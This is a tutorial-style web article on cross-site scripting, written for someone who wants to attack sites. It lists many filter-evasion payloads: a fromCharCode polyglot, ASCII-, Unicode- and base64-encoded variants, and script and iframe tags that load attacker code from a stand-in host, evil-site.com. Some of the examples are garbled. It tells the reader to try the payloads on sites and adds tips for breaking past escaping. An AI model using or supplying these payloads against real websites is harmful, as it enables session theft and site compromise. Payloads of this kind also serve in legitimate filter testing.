XSS is known as Cross-site script
Simply put, cross-site scripting involves the injection of malicious code into a website. It is the most common method of attack at the moment, as most large sites will contain at least one XSS vulnerability. However, there is more than one type of XSS. The most commonly found is referred to as “nonpersistent” XSS.
None Persistent XSS
Non-persistent as the title suggests means that the injected script isn’t permanent and just appears for the short time the user is viewing the page. The best example of this is a basic coded search engine for a site. Say, for example, the site search script is in this format:
Once something has been searched for, the script may display on the page something along the lines of:
“Results for text here”
If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want.
However, since the attacker can only display code on their own pages, this isn’t much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate.
Next, there’s persistent XSS
Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the site’s server somehow, which can be hard to find.
<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>
Getting Past Basic Protection
So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where CharCode comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying “XSS” if it is vulnerable:
‘;alert(String.fromCharCode(88,83,83))//\’; alert(String.fromCharCode(88,83,83))//”; alert(String.fromCharCode(88,83,83))//\”; alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>
This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to the text which one is affecting the site. The CharCode for “X” is 88 and “S” is 83. As you can see, each provides a slight variation to try to beat character blocking.
What if quotes are blocked? No problem, just inject the site like so:
The " will be interpreted in HTML as a ” so the code will run fine. The next one below is very likely to work if you find a site is vulnerable.
The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.
Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go tohttp://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:
<img src=javasc ript:ale rt('XSS')>
As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:
<img src=java scrip t:ale rt('X SS')>
If the site has a limited amount of characters allowed, this probably won’t be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:
Again unrecognizable which makes it a great XSS to use.
As mentioned above, the list of possible XSS attacks is endless, there isn’t enough room to mention them here, but I will finish with some more XSS examples that may affect a vulnerable site.
ascript:alert(‘XSS’);”> – new line vulnerability
<iframe src=http://evil-site.com/evil.html < – XSS using an iframe to display a whole new page
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
– base64 encoding, another form of encryption, this one is less likely to work.
<SCRIPT SRC=”http://evil-site.com/xss.jpg”></SCRIPT> – very sneaky method, here you rename your .js to .jpg, but since you have the script tags it will still be read as a js file.
The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly written HTML code will be the best method. If one way doesn’t work, try adding an extra “>” or “<” to the start or end of the code for example or view the source of the page for code tags you need to close. Adding a “‘>” to the end then starting your own malicious code. Well, that’s the end of this tutorial. For more XSS attack example just use google as more of these are being thought up every day. Soon you should even be able to invent your own.